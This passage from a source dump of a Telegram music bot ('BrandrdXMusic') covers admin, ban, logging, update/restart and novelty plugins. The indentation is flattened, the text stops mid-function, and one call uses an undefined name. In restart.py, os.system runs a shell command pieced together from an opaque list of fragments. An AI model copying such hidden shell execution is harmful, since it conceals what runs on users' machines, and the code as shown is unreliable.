playmode = await get_playmode(message.chat.id)
playty = await get_playtype(message.chat.id)
if playty != "Everyone":
if message.from_user.id not in SUDOERS:
admins = adminlist.get(message.chat.id)
if not admins:
return await message.reply_text(_["admin_18"])
else:
if message.from_user.id not in admins:
return await message.reply_text(_["play_4"])
if message.command[0][0] == "c":
chat_id = await get_cmode(message.chat.id)
if chat_id is None:
return await message.reply_text(_["setting_12"])
try:
chat = await app.get_chat(chat_id)
except:
return await message.reply_text(_["cplay_4"])
channel = chat.title
else:
chat_id = message.chat.id
channel = None
video = None
mystic = await message.reply_text(
_["play_2"].format(channel) if channel else _["play_1"]
)
try:
await stream(
_,
mystic,
message.from_user.id,
RADIO_URL,
chat_id,
message.from_user.mention,
message.chat.id,
video=video,
streamtype="index",
)
except Exception as e:
ex_type = type(e).__name__
err = e if ex_type == "AssistantErr" else _["general_3"].format(ex_type)
return await mystic.edit_text(err)
return await play_logs(message, streamtype="M3u8 or Index Link")
else:
await message.reply(
f"ɢɪᴠᴇ ᴍᴇ ᴀ sᴛᴀᴛɪᴏɴ ɴᴀᴍᴇ ᴛᴏ ᴘʟᴀʏ ʀᴀᴅɪᴏ\nʙᴇʟᴏᴡ ᴀʀᴇ sᴏᴍᴇ sᴛᴀᴛɪᴏɴ ɴᴀᴍᴇ:\n{valid_stations}"
)
__MODULE__ = "Rᴀᴅɪᴏ"
__HELP__ = f"\n/radio [sᴛᴀᴛɪᴏɴ ɴᴀᴍᴇ] - ᴛᴏ ᴘʟᴀʏ **ʀᴀᴅɪᴏ ɪɴ ᴠᴏɪᴄᴇ ᴄʜᴀᴛ**\n\nʙᴇʟᴏᴡ ᴀʀᴇ sᴏᴍᴇ sᴛᴀᴛɪᴏɴ ɴᴀᴍᴇ:\n{valid_stations}"
================================================
FILE: BrandrdXMusic/plugins/sudo/autoend.py
================================================
from pyrogram import filters
from pyrogram.types import Message
from BrandrdXMusic import app
from BrandrdXMusic.misc import SUDOERS
from BrandrdXMusic.utils.database import autoend_off, autoend_on
@app.on_message(filters.command("autoend") & SUDOERS)
async def auto_end_stream(_, message: Message):
usage = "ᴇxᴀᴍᴘʟᴇ :\n\n/autoend [ᴇɴᴀʙʟᴇ | ᴅɪsᴀʙʟᴇ]"
if len(message.command) != 2:
return await message.reply_text(usage)
state = message.text.split(None, 1)[1].strip().lower()
if state == "enable":
await autoend_on()
await message.reply_text(
"» ᴀᴜᴛᴏ ᴇɴᴅ sᴛʀᴇᴀᴍ ᴇɴᴀʙʟᴇᴅ.\n\nᴀssɪsᴛᴀɴᴛ ᴡɪʟʟ ᴀᴜᴛᴏᴍᴀᴛɪᴄᴀʟʟʏ ʟᴇᴀᴠᴇ ᴛʜᴇ ᴠɪᴅᴇᴏᴄʜᴀᴛ ᴀғᴛᴇʀ ғᴇᴡ ᴍɪɴs ᴡʜᴇɴ ɴᴏ ᴏɴᴇ ɪs ʟɪsᴛᴇɴɪɴɢ."
)
elif state == "disable":
await autoend_off()
await message.reply_text("» ᴀᴜᴛᴏ ᴇɴᴅ sᴛʀᴇᴀᴍ ᴅɪsᴀʙʟᴇᴅ.")
else:
await message.reply_text(usage)
================================================
FILE: BrandrdXMusic/plugins/sudo/blchat.py
================================================
from pyrogram import filters
from pyrogram.types import Message
from BrandrdXMusic import app
from BrandrdXMusic.misc import SUDOERS
from BrandrdXMusic.utils.database import blacklist_chat, blacklisted_chats, whitelist_chat
from BrandrdXMusic.utils.decorators.language import language
from config import BANNED_USERS
@app.on_message(filters.command(["blchat", "blacklistchat"]) & SUDOERS)
@language
async def blacklist_chat_func(client, message: Message, _):
if len(message.command) != 2:
return await message.reply_text(_["black_1"])
chat_id = int(message.text.strip().split()[1])
if chat_id in await blacklisted_chats():
return await message.reply_text(_["black_2"])
blacklisted = await blacklist_chat(chat_id)
if blacklisted:
await message.reply_text(_["black_3"])
else:
await message.reply_text(_["black_9"])
try:
await app.leave_chat(chat_id)
except:
pass
@app.on_message(
filters.command(["whitelistchat", "unblacklistchat", "unblchat"]) & SUDOERS
)
@language
async def white_funciton(client, message: Message, _):
if len(message.command) != 2:
return await message.reply_text(_["black_4"])
chat_id = int(message.text.strip().split()[1])
if chat_id not in await blacklisted_chats():
return await message.reply_text(_["black_5"])
whitelisted = await whitelist_chat(chat_id)
if whitelisted:
return await message.reply_text(_["black_6"])
await message.reply_text(_["black_9"])
@app.on_message(filters.command(["blchats", "blacklistedchats"]) & ~BANNED_USERS)
@language
async def all_chats(client, message: Message, _):
text = _["black_7"]
j = 0
for count, chat_id in enumerate(await blacklisted_chats(), 1):
try:
title = (await app.get_chat(chat_id)).title
except:
title = "ᴘʀɪᴠᴀᴛᴇ ᴄʜᴀᴛ"
j = 1
text += f"{count}. {title}[{chat_id}]\n"
if j == 0:
await message.reply_text(_["black_8"].format(app.mention))
else:
await message.reply_text(text)
================================================
FILE: BrandrdXMusic/plugins/sudo/block.py
================================================
from pyrogram import filters
from pyrogram.types import Message
from BrandrdXMusic import app
from BrandrdXMusic.misc import SUDOERS
from BrandrdXMusic.utils.database import add_gban_user, remove_gban_user
from BrandrdXMusic.utils.decorators.language import language
from BrandrdXMusic.utils.extraction import extract_user
from config import BANNED_USERS
@app.on_message(filters.command(["block"]) & SUDOERS)
@language
async def useradd(client, message: Message, _):
if not message.reply_to_message:
if len(message.command) != 2:
return await message.reply_text(_["general_1"])
user = await extract_user(message)
if user.id in BANNED_USERS:
return await message.reply_text(_["block_1"].format(user.mention))
await add_gban_user(user.id)
BANNED_USERS.add(user.id)
await message.reply_text(_["block_2"].format(user.mention))
@app.on_message(filters.command(["unblock"]) & SUDOERS)
@language
async def userdel(client, message: Message, _):
if not message.reply_to_message:
if len(message.command) != 2:
return await message.reply_text(_["general_1"])
user = await extract_user(message)
if user.id not in BANNED_USERS:
return await message.reply_text(_["block_3"].format(user.mention))
await remove_gban_user(user.id)
BANNED_USERS.remove(user.id)
await message.reply_text(_["block_4"].format(user.mention))
@app.on_message(filters.command(["blocked", "blockedusers", "blusers"]) & SUDOERS)
@language
async def sudoers_list(client, message: Message, _):
if not BANNED_USERS:
return await message.reply_text(_["block_5"])
mystic = await message.reply_text(_["block_6"])
msg = _["block_7"]
count = 0
for users in BANNED_USERS:
try:
user = await app.get_users(users)
user = user.first_name if not user.mention else user.mention
count += 1
except:
continue
msg += f"{count}➤ {user}\n"
if count == 0:
return await mystic.edit_text(_["block_5"])
else:
return await mystic.edit_text(msg)
================================================
FILE: BrandrdXMusic/plugins/sudo/gban.py
================================================
import asyncio
from pyrogram import filters
from pyrogram.errors import FloodWait
from pyrogram.types import Message
from BrandrdXMusic import app
from BrandrdXMusic.misc import SUDOERS
from BrandrdXMusic.utils import get_readable_time
from BrandrdXMusic.utils.database import (
add_banned_user,
get_banned_count,
get_banned_users,
get_served_chats,
is_banned_user,
remove_banned_user,
)
from BrandrdXMusic.utils.decorators.language import language
from BrandrdXMusic.utils.extraction import extract_user
from config import BANNED_USERS
@app.on_message(filters.command(["gban", "globalban"]) & SUDOERS)
@language
async def global_ban(client, message: Message, _):
if not message.reply_to_message:
if len(message.command) != 2:
return await message.reply_text(_["general_1"])
user = await extract_user(message)
if user.id == message.from_user.id:
return await message.reply_text(_["gban_1"])
elif user.id == app.id:
return await message.reply_text(_["gban_2"])
elif user.id in SUDOERS:
return await message.reply_text(_["gban_3"])
is_gbanned = await is_banned_user(user.id)
if is_gbanned:
return await message.reply_text(_["gban_4"].format(user.mention))
if user.id not in BANNED_USERS:
BANNED_USERS.add(user.id)
served_chats = []
chats = await get_served_chats()
for chat in chats:
served_chats.append(int(chat["chat_id"]))
time_expected = get_readable_time(len(served_chats))
mystic = await message.reply_text(_["gban_5"].format(user.mention, time_expected))
number_of_chats = 0
for chat_id in served_chats:
try:
await app.ban_chat_member(chat_id, user.id)
number_of_chats += 1
except FloodWait as fw:
await asyncio.sleep(int(fw.value))
except:
continue
await add_banned_user(user.id)
await message.reply_text(
_["gban_6"].format(
app.mention,
message.chat.title,
message.chat.id,
user.mention,
user.id,
message.from_user.mention,
number_of_chats,
)
)
await mystic.delete()
@app.on_message(filters.command(["ungban"]) & SUDOERS)
@language
async def global_un(client, message: Message, _):
if not message.reply_to_message:
if len(message.command) != 2:
return await message.reply_text(_["general_1"])
user = await extract_user(message)
is_gbanned = await is_banned_user(user.id)
if not is_gbanned:
return await message.reply_text(_["gban_7"].format(user.mention))
if user.id in BANNED_USERS:
BANNED_USERS.remove(user.id)
served_chats = []
chats = await get_served_chats()
for chat in chats:
served_chats.append(int(chat["chat_id"]))
time_expected = get_readable_time(len(served_chats))
mystic = await message.reply_text(_["gban_8"].format(user.mention, time_expected))
number_of_chats = 0
for chat_id in served_chats:
try:
await app.unban_chat_member(chat_id, user.id)
number_of_chats += 1
except FloodWait as fw:
await asyncio.sleep(int(fw.value))
except:
continue
await remove_banned_user(user.id)
await message.reply_text(_["gban_9"].format(user.mention, number_of_chats))
await mystic.delete()
@app.on_message(filters.command(["gbannedusers", "gbanlist"]) & SUDOERS)
@language
async def gbanned_list(client, message: Message, _):
counts = await get_banned_count()
if counts == 0:
return await message.reply_text(_["gban_10"])
mystic = await message.reply_text(_["gban_11"])
msg = _["gban_12"]
count = 0
users = await get_banned_users()
for user_id in users:
count += 1
try:
user = await app.get_users(user_id)
user = user.first_name if not user.mention else user.mention
msg += f"{count}➤ {user}\n"
except Exception:
msg += f"{count}➤ {user_id}\n"
continue
if count == 0:
return await mystic.edit_text(_["gban_10"])
else:
return await mystic.edit_text(msg)
================================================
FILE: BrandrdXMusic/plugins/sudo/logger.py
================================================
from pyrogram import filters
from BrandrdXMusic import app
from BrandrdXMusic.misc import SUDOERS
from BrandrdXMusic.utils.database import add_off, add_on
from BrandrdXMusic.utils.decorators.language import language
@app.on_message(filters.command(["logger"]) & SUDOERS)
@language
async def logger(client, message, _):
usage = _["log_1"]
if len(message.command) != 2:
return await message.reply_text(usage)
state = message.text.split(None, 1)[1].strip().lower()
if state == "enable":
await add_on(2)
await message.reply_text(_["log_2"])
elif state == "disable":
await add_off(2)
await message.reply_text(_["log_3"])
else:
await message.reply_text(usage)
@app.on_message(filters.command(["cookies"]) & SUDOERS)
@language
async def logger(client, message, _):
await message.reply_document("cookies/logs.csv")
await message.reply_text("Please check given file to cookies file choosing logs...")
================================================
FILE: BrandrdXMusic/plugins/sudo/maintenance.py
================================================
from pyrogram import filters
from pyrogram.types import Message
from BrandrdXMusic import app
from config import OWNER_ID
from BrandrdXMusic.utils.database import (
get_lang,
is_maintenance,
maintenance_off,
maintenance_on,
)
from strings import get_string
@app.on_message(filters.command(["maintenance"]) & filters.user(OWNER_ID))
async def maintenance(client, message: Message):
try:
language = await get_lang(message.chat.id)
_ = get_string(language)
except:
_ = get_string("en")
usage = _["maint_1"]
if len(message.command) != 2:
return await message.reply_text(usage)
state = message.text.split(None, 1)[1].strip().lower()
if state == "enable":
if await is_maintenance() is False:
await message.reply_text(_["maint_4"])
else:
await maintenance_on()
await message.reply_text(_["maint_2"].format(app.mention))
elif state == "disable":
if await is_maintenance() is False:
await maintenance_off()
await message.reply_text(_["maint_3"].format(app.mention))
else:
await message.reply_text(_["maint_5"])
else:
await message.reply_text(usage)
================================================
FILE: BrandrdXMusic/plugins/sudo/restart.py
================================================
import asyncio
import os
import shutil
import socket
from datetime import datetime
import urllib3
from git import Repo
from git.exc import GitCommandError, InvalidGitRepositoryError
from pyrogram import filters
import config
from BrandrdXMusic import app
from BrandrdXMusic.misc import HAPP, SUDOERS, XCB
from BrandrdXMusic.utils.database import (
get_active_chats,
remove_active_chat,
remove_active_video_chat,
)
from BrandrdXMusic.utils.decorators.language import language
from BrandrdXMusic.utils.pastebin import HottyBin
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
async def is_heroku():
return "heroku" in socket.getfqdn()
@app.on_message(filters.command(["getlog", "logs", "getlogs"], prefixes=["/", "!", "%", ",", "", ".", "@", "#"]) & SUDOERS)
@language
async def log_(client, message, _):
try:
await message.reply_document(document="log.txt")
except:
await message.reply_text(_["server_1"])
@app.on_message(filters.command(["update", "gitpull"], prefixes=["/", "!", "%", ",", "", ".", "@", "#"]) & SUDOERS)
@language
async def update_(client, message, _):
if await is_heroku():
if HAPP is None:
return await message.reply_text(_["server_2"])
response = await message.reply_text(_["server_3"])
try:
repo = Repo()
except GitCommandError:
return await response.edit(_["server_4"])
except InvalidGitRepositoryError:
return await response.edit(_["server_5"])
to_exc = f"git fetch origin {config.UPSTREAM_BRANCH} &> /dev/null"
os.system(to_exc)
await asyncio.sleep(7)
verification = ""
REPO_ = repo.remotes.origin.url.split(".git")[0]
for checks in repo.iter_commits(f"HEAD..origin/{config.UPSTREAM_BRANCH}"):
verification = str(checks.count())
if verification == "":
return await response.edit(_["server_6"])
updates = ""
ordinal = lambda format: "%d%s" % (
format,
"tsnrhtdd"[(format // 10 % 10 != 1) * (format % 10 < 4) * format % 10 :: 4],
)
for info in repo.iter_commits(f"HEAD..origin/{config.UPSTREAM_BRANCH}"):
updates += f"➣ #{info.count()}: {info.summary} ʙʏ -> {info.author}\n\t\t\t\t➥ ᴄᴏᴍᴍɪᴛᴇᴅ ᴏɴ : {ordinal(int(datetime.fromtimestamp(info.committed_date).strftime('%d')))} {datetime.fromtimestamp(info.committed_date).strftime('%b')}, {datetime.fromtimestamp(info.committed_date).strftime('%Y')}\n\n"
_update_response_ = "ᴀ ɴᴇᴡ ᴜᴩᴅᴀᴛᴇ ɪs ᴀᴠᴀɪʟᴀʙʟᴇ ғᴏʀ ᴛʜᴇ ʙᴏᴛ !\n\n➣ ᴩᴜsʜɪɴɢ ᴜᴩᴅᴀᴛᴇs ɴᴏᴡ\n\nᴜᴩᴅᴀᴛᴇs:\n\n"
_final_updates_ = _update_response_ + updates
if len(_final_updates_) > 4096:
url = await DAXXBin(updates)
nrs = await response.edit(
f"ᴀ ɴᴇᴡ ᴜᴩᴅᴀᴛᴇ ɪs ᴀᴠᴀɪʟᴀʙʟᴇ ғᴏʀ ᴛʜᴇ ʙᴏᴛ !\n\n➣ ᴩᴜsʜɪɴɢ ᴜᴩᴅᴀᴛᴇs ɴᴏᴡ\n\nᴜᴩᴅᴀᴛᴇs :\n\nᴄʜᴇᴄᴋ ᴜᴩᴅᴀᴛᴇs"
)
else:
nrs = await response.edit(_final_updates_, disable_web_page_preview=True)
os.system("git stash &> /dev/null && git pull")
try:
served_chats = await get_active_chats()
for x in served_chats:
try:
await app.send_message(
chat_id=int(x),
text=_["server_8"].format(app.mention),
)
await remove_active_chat(x)
await remove_active_video_chat(x)
except:
pass
await response.edit(f"{nrs.text}\n\n{_['server_7']}")
except:
pass
if await is_heroku():
try:
os.system(
f"{XCB[5]} {XCB[7]} {XCB[9]}{XCB[4]}{XCB[0]*2}{XCB[6]}{XCB[4]}{XCB[8]}{XCB[1]}{XCB[5]}{XCB[2]}{XCB[6]}{XCB[2]}{XCB[3]}{XCB[0]}{XCB[10]}{XCB[2]}{XCB[5]} {XCB[11]}{XCB[4]}{XCB[12]}"
)
return
except Exception as err:
await response.edit(f"{nrs.text}\n\n{_['server_9']}")
return await app.send_message(
chat_id=config.LOGGER_ID,
text=_["server_10"].format(err),
)
else:
os.system("pip3 install -r requirements.txt")
os.system(f"kill -9 {os.getpid()} && bash start")
exit()
@app.on_message(filters.command(["restart"]) & SUDOERS)
async def restart_(_, message):
response = await message.reply_text("ʀᴇsᴛᴀʀᴛɪɴɢ...")
ac_chats = await get_active_chats()
for x in ac_chats:
try:
await app.send_message(
chat_id=int(x),
text=f"{app.mention} ɪs ʀᴇsᴛᴀʀᴛɪɴɢ...\n\nʏᴏᴜ ᴄᴀɴ sᴛᴀʀᴛ ᴩʟᴀʏɪɴɢ ᴀɢᴀɪɴ ᴀғᴛᴇʀ 15-20 sᴇᴄᴏɴᴅs.",
)
await remove_active_chat(x)
await remove_active_video_chat(x)
except:
pass
try:
shutil.rmtree("downloads")
shutil.rmtree("raw_files")
shutil.rmtree("cache")
except:
pass
await response.edit_text(
"» ʀᴇsᴛᴀʀᴛ ᴘʀᴏᴄᴇss sᴛᴀʀᴛᴇᴅ, ᴘʟᴇᴀsᴇ ᴡᴀɪᴛ ғᴏʀ ғᴇᴡ sᴇᴄᴏɴᴅs ᴜɴᴛɪʟ ᴛʜᴇ ʙᴏᴛ sᴛᴀʀᴛs..."
)
os.system(f"kill -9 {os.getpid()} && bash start")
================================================
FILE: BrandrdXMusic/plugins/sudo/sudoers.py
================================================
from pyrogram import filters
from pyrogram.types import Message
from BrandrdXMusic import app
from BrandrdXMusic.misc import SUDOERS
from BrandrdXMusic.utils.database import add_sudo, remove_sudo
from BrandrdXMusic.utils.decorators.language import language
from BrandrdXMusic.utils.extraction import extract_user
from BrandrdXMusic.utils.inline import close_markup
from config import BANNED_USERS, OWNER_ID
@app.on_message(filters.command(["addsudo"]) & filters.user(OWNER_ID))
@language
async def useradd(client, message: Message, _):
if not message.reply_to_message:
if len(message.command) != 2:
return await message.reply_text(_["general_1"])
user = await extract_user(message)
if user.id in SUDOERS:
return await message.reply_text(_["sudo_1"].format(user.mention))
added = await add_sudo(user.id)
if added:
SUDOERS.add(user.id)
await message.reply_text(_["sudo_2"].format(user.mention))
else:
await message.reply_text(_["sudo_8"])
@app.on_message(filters.command(["delsudo", "rmsudo"]) & filters.user(OWNER_ID))
@language
async def userdel(client, message: Message, _):
if not message.reply_to_message:
if len(message.command) != 2:
return await message.reply_text(_["general_1"])
user = await extract_user(message)
if user.id not in SUDOERS:
return await message.reply_text(_["sudo_3"].format(user.mention))
removed = await remove_sudo(user.id)
if removed:
SUDOERS.remove(user.id)
await message.reply_text(_["sudo_4"].format(user.mention))
else:
await message.reply_text(_["sudo_8"])
@app.on_message(filters.command(["sudolist", "listsudo", "sudoers"]) & ~BANNED_USERS)
@language
async def sudoers_list(client, message: Message, _):
if message.from_user.id not in SUDOERS:
return await message.reply_text("💔 ᴏᴡɴᴇʀs:\n1➤ 🇷🇺⛦°𝗕𝗥𝗔𝗡𝗗𝗘𝗗 𓆩🇽𓆪 𝗞𝗜𝗡𝗚🇳",
disable_web_page_preview=True,
parse_mode="html")
text = _["sudo_5"]
user = await app.get_users(OWNER_ID)
user = user.first_name if not user.mention else user.mention
text += f"1➤ {user}\n"
count = 0
smex = 0
for user_id in SUDOERS:
if user_id != OWNER_ID:
try:
user = await app.get_users(user_id)
user = user.first_name if not user.mention else user.mention
if smex == 0:
smex += 1
text += _["sudo_6"]
count += 1
text += f"{count}➤ {user}\n"
except:
continue
if not text:
await message.reply_text(_["sudo_7"])
else:
await message.reply_text(text, reply_markup=close_markup(_))
================================================
FILE: BrandrdXMusic/plugins/tools/active.py
================================================
from pyrogram import filters
from pyrogram.types import Message
from unidecode import unidecode
from BrandrdXMusic import app
from config import OWNER_ID
from BrandrdXMusic.utils.database import (
get_active_chats,
get_active_video_chats,
remove_active_chat,
remove_active_video_chat,
)
@app.on_message(filters.command(["activevc", "activevoice"]) & filters.user(OWNER_ID))
async def activevc(_, message: Message):
mystic = await message.reply_text("» ɢᴇᴛᴛɪɴɢ ᴀᴄᴛɪᴠᴇ ᴠᴏɪᴄᴇ ᴄʜᴀᴛs ʟɪsᴛ...")
served_chats = await get_active_chats()
text = ""
j = 0
for x in served_chats:
try:
title = (await app.get_chat(x)).title
except:
await remove_active_chat(x)
continue
try:
if (await app.get_chat(x)).username:
user = (await app.get_chat(x)).username
text += f"{j + 1}. {unidecode(title).upper()} [{x}]\n"
else:
text += (
f"{j + 1}. {unidecode(title).upper()} [{x}]\n"
)
j += 1
except:
continue
if not text:
await mystic.edit_text(f"» ɴᴏ ᴀᴄᴛɪᴠᴇ ᴠᴏɪᴄᴇ ᴄʜᴀᴛs ᴏɴ {app.mention}.")
else:
await mystic.edit_text(
f"» ʟɪsᴛ ᴏғ ᴄᴜʀʀᴇɴᴛʟʏ ᴀᴄᴛɪᴠᴇ ᴠᴏɪᴄᴇ ᴄʜᴀᴛs :\n\n{text}",
disable_web_page_preview=True,
)
@app.on_message(filters.command(["activev", "activevideo"]) & filters.user(OWNER_ID))
async def activevi_(_, message: Message):
mystic = await message.reply_text("» ɢᴇᴛᴛɪɴɢ ᴀᴄᴛɪᴠᴇ ᴠɪᴅᴇᴏ ᴄʜᴀᴛs ʟɪsᴛ...")
served_chats = await get_active_video_chats()
text = ""
j = 0
for x in served_chats:
try:
title = (await app.get_chat(x)).title
except:
await remove_active_video_chat(x)
continue
try:
if (await app.get_chat(x)).username:
user = (await app.get_chat(x)).username
text += f"{j + 1}. {unidecode(title).upper()} [{x}]\n"
else:
text += (
f"{j + 1}. {unidecode(title).upper()} [{x}]\n"
)
j += 1
except:
continue
if not text:
await mystic.edit_text(f"» ɴᴏ ᴀᴄᴛɪᴠᴇ ᴠɪᴅᴇᴏ ᴄʜᴀᴛs ᴏɴ {app.mention}.")
else:
await mystic.edit_text(
f"» ʟɪsᴛ ᴏғ ᴄᴜʀʀᴇɴᴛʟʏ ᴀᴄᴛɪᴠᴇ ᴠɪᴅᴇᴏ ᴄʜᴀᴛs :\n\n{text}",
disable_web_page_preview=True,
)
================================================
FILE: BrandrdXMusic/plugins/tools/alive.py
================================================
import asyncio
from BrandrdXMusic import app
from pyrogram import filters
from pyrogram import Client, filters
from pyrogram.types import InlineKeyboardButton, InlineKeyboardMarkup, Message
from config import MUSIC_BOT_NAME
@app.on_message(filters.command(["alive"]))
async def start(client: Client, message: Message):
await message.reply_video(
video=f"https://graph.org/file/e999c40cb700e7c684b75.mp4",
caption=f"❤️ ʜᴇʏ {message.from_user.mention}\n\n🔮 ɪ ᴀᴍ {MUSIC_BOT_NAME}\n\n✨ ɪ ᴀᴍ ғᴀsᴛ ᴀɴᴅ ᴩᴏᴡᴇʀғᴜʟ ᴍᴜsɪᴄ ᴩʟᴀʏᴇʀ ʙᴏᴛ ᴡɪᴛʜ sᴏᴍᴇ ᴀᴡᴇsᴏᴍᴇ ғᴇᴀᴛᴜʀᴇs.\n\n💫 ɪғ ʏᴏᴜ ʜᴀᴠᴇ ᴀɴʏ ǫᴜᴇsᴛɪᴏɴs ᴛʜᴇɴ ᴊᴏɪɴ ᴏᴜʀ sᴜᴘᴘᴏʀᴛ ɢʀᴏᴜᴘ🤍...\n\n━━━━━━━━━━━━━━━━━━❄",
reply_markup=InlineKeyboardMarkup(
[
[
InlineKeyboardButton(
text="☆ ʙʀᴀɴᴅᴇᴅ 💗 ", url=f"https://t.me/BRANDRDKING82"
),
InlineKeyboardButton(
text="☆ ꜱᴜᴘᴘᴏʀᴛ 💗", url=f"https://t.me/BRANDED_WORLD"
),
],
[
InlineKeyboardButton(
text="☆ ᴄʜᴀɴɴᴇʟ💗", url=f"https://t.me/BRANDRD_BOT"
),
],
[
InlineKeyboardButton(
"✯ ᴄʟᴏsᴇ ✯", callback_data="close"
)
],
]
)
)
================================================
FILE: BrandrdXMusic/plugins/tools/bot_left.py
================================================
import random
from pyrogram import Client
from pyrogram.types import Message
from pyrogram import filters
from pyrogram.types import (
InlineKeyboardButton,
InlineKeyboardMarkup,
InputMediaPhoto,
InputMediaVideo,
Message,
)
from config import LOGGER_ID as LOG_GROUP_ID
from BrandrdXMusic import app
from BrandrdXMusic.utils.database import get_assistant
from BrandrdXMusic.utils.database import delete_served_chat
photo = [
"https://graph.org/file/872dc8af2a36bed43b9b6.jpg",
"https://graph.org/file/f4b34351a59061ba1c61b.jpg",
"https://graph.org/file/3fb3f4c8a1250c6a50af1.jpg",
"https://graph.org/file/eabab7e8a3e5df87a0b04.jpg",
"https://graph.org/file/427f4869a158126957747.jpg",
]
@app.on_message(filters.left_chat_member)
async def on_left_chat_member(_, message: Message):
try:
userbot = await get_assistant(message.chat.id)
left_chat_member = message.left_chat_member
if left_chat_member and left_chat_member.id == (await app.get_me()).id:
remove_by = (
message.from_user.mention if message.from_user else "𝐔ɴᴋɴᴏᴡɴ 𝐔sᴇʀ"
)
title = message.chat.title
username = (
f"@{message.chat.username}" if message.chat.username else "𝐏ʀɪᴠᴀᴛᴇ 𝐂ʜᴀᴛ"
)
chat_id = message.chat.id
left = f"✫ #𝗟𝗘𝗙𝗧_𝗚𝗥𝗢𝗨𝗣 ✫\n\n𝐂ʜᴀᴛ 𝐓ɪᴛʟᴇ : {title}\n\n𝗖𝗛𝗔𝗧 𝗜𝗗 : {chat_id}\n\n𝗥𝗘𝗠𝗢𝗩𝗘𝗗 𝗕𝗬 : {remove_by}\n\n𝗕𝗢𝗧 : @{app.username}"
await app.send_photo(LOG_GROUP_ID, photo=random.choice(photo), caption=left)
await delete_served_chat(chat_id)
await userbot.leave_chat(chat_id)
except Exception as e:
return
================================================
FILE: BrandrdXMusic/plugins/tools/bots.py
================================================
import asyncio
from pyrogram import enums, filters
from pyrogram.errors import FloodWait
from BrandrdXMusic import app
@app.on_message(filters.command("bots") & filters.group)
async def bots(client, message):
try:
botList = []
async for bot in app.get_chat_members(
message.chat.id, filter=enums.ChatMembersFilter.BOTS
):
botList.append(bot.user)
lenBotList = len(botList)
text3 = f"**ʙᴏᴛ ʟɪsᴛ - {message.chat.title}**\n\n🤖 ʙᴏᴛs\n"
while len(botList) > 1:
bot = botList.pop(0)
text3 += f"├ @{bot.username}\n"
else:
bot = botList.pop(0)
text3 += f"└ @{bot.username}\n\n"
text3 += f"**ᴛᴏᴛᴀʟ ɴᴜᴍʙᴇʀ ᴏғ ʙᴏᴛs**: {lenBotList}**"
await app.send_message(message.chat.id, text3)
except FloodWait as e:
await asyncio.sleep(e.value)
================================================
FILE: BrandrdXMusic/plugins/tools/chatlog.py
================================================
import random
from pyrogram import Client
from pyrogram.types import Message
from pyrogram import filters
from pyrogram.types import (
InlineKeyboardButton,
InlineKeyboardMarkup,
InputMediaPhoto,
InputMediaVideo,
Message,
)
from config import LOGGER_ID as LOG_GROUP_ID
from BrandrdXMusic import app
from BrandrdXMusic.core.userbot import Userbot
from BrandrdXMusic.utils.database import delete_served_chat
from BrandrdXMusic.utils.database import get_assistant
photo = [
"https://te.legra.ph/file/758a5cf4598f061f25963.jpg",
"https://te.legra.ph/file/30a1dc870bd1a485e3567.jpg",
"https://te.legra.ph/file/d585beb2a6b3f553299d2.jpg",
"https://te.legra.ph/file/7df9e128dd261de2afd6b.jpg",
"https://te.legra.ph/file/f60ebb75ad6f2786efa4e.jpg",
]
@app.on_message(filters.new_chat_members, group=2)
async def join_watcher(_, message):
try:
userbot = await get_assistant(message.chat.id)
chat = message.chat
for members in message.new_chat_members:
if members.id == app.id:
count = await app.get_chat_members_count(chat.id)
username = (
message.chat.username if message.chat.username else "𝐏ʀɪᴠᴀᴛᴇ 𝐆ʀᴏᴜᴘ"
)
msg = (
f"**📝𝐌ᴜsɪᴄ 𝐁ᴏᴛ 𝐀ᴅᴅᴇᴅ 𝐈ɴ 𝐀 #𝐍ᴇᴡ_𝐆ʀᴏᴜᴘ**\n\n"
f"**📌𝐂ʜᴀᴛ 𝐍ᴀᴍᴇ:** {message.chat.title}\n"
f"**🍂𝐂ʜᴀᴛ 𝐈ᴅ:** {message.chat.id}\n"
f"**🔐𝐂ʜᴀᴛ 𝐔sᴇʀɴᴀᴍᴇ:** @{username}\n"
f"**📈𝐆ʀᴏᴜᴘ 𝐌ᴇᴍʙᴇʀs:** {count}\n"
f"**🤔𝐀ᴅᴅᴇᴅ 𝐁ʏ:** {message.from_user.mention}"
)
await app.send_photo(
LOG_GROUP_ID,
photo=random.choice(photo),
caption=msg,
reply_markup=InlineKeyboardMarkup(
[
[
InlineKeyboardButton(
f"😍𝐀ᴅᴅᴇᴅ 𝐁ʏ😍",
url=f"tg://openmessage?user_id={message.from_user.id}",
)
]
]
),
)
await userbot.join_chat(f"{username}")
except Exception as e:
print(f"Error: {e}")
================================================
FILE: BrandrdXMusic/plugins/tools/couples.py
================================================
import os
import random
from datetime import datetime
from telegraph import upload_file
from PIL import Image , ImageDraw
from pyrogram import *
from pyrogram.types import InlineKeyboardButton, InlineKeyboardMarkup
from pyrogram.enums import *
#BOT FILE NAME
from BrandrdXMusic import app as app
from BrandrdXMusic.mongo.couples_db import _get_image, get_couple
POLICE = [
[
InlineKeyboardButton(
text="ᴍʏ ᴄᴜᴛᴇ ᴅᴇᴠᴇʟᴏᴘᴇʀ 🥀",
url=f"https://t.me/BRANDED_PAID_CC",
),
],
]
def dt():
now = datetime.now()
dt_string = now.strftime("%d/%m/%Y %H:%M")
dt_list = dt_string.split(" ")
return dt_list
def dt_tom():
a = (
str(int(dt()[0].split("/")[0]) + 1)
+ "/"
+ dt()[0].split("/")[1]
+ "/"
+ dt()[0].split("/")[2]
)
return a
tomorrow = str(dt_tom())
today = str(dt()[0])
@app.on_message(filters.command("couples"))
async def ctest(_, message):
cid = message.chat.id
if message.chat.type == ChatType.PRIVATE:
return await message.reply_text("ᴛʜɪs ᴄᴏᴍᴍᴀɴᴅ ᴏɴʟʏ ᴡᴏʀᴋs ɪɴ ɢʀᴏᴜᴘs.")
try:
# is_selected = await get_couple(cid, today)
# if not is_selected:
msg = await message.reply_text("ɢᴇɴᴇʀᴀᴛɪɴɢ ᴄᴏᴜᴘʟᴇs ɪᴍᴀɢᴇ...")
#GET LIST OF USERS
list_of_users = []
async for i in app.get_chat_members(message.chat.id, limit=50):
if not i.user.is_bot:
list_of_users.append(i.user.id)
c1_id = random.choice(list_of_users)
c2_id = random.choice(list_of_users)
while c1_id == c2_id:
c1_id = random.choice(list_of_users)
photo1 = (await app.get_chat(c1_id)).photo
photo2 = (await app.get_chat(c2_id)).photo
N1 = (await app.get_users(c1_id)).mention
N2 = (await app.get_users(c2_id)).mention
try:
p1 = await app.download_media(photo1.big_file_id, file_name="pfp.png")
except Exception:
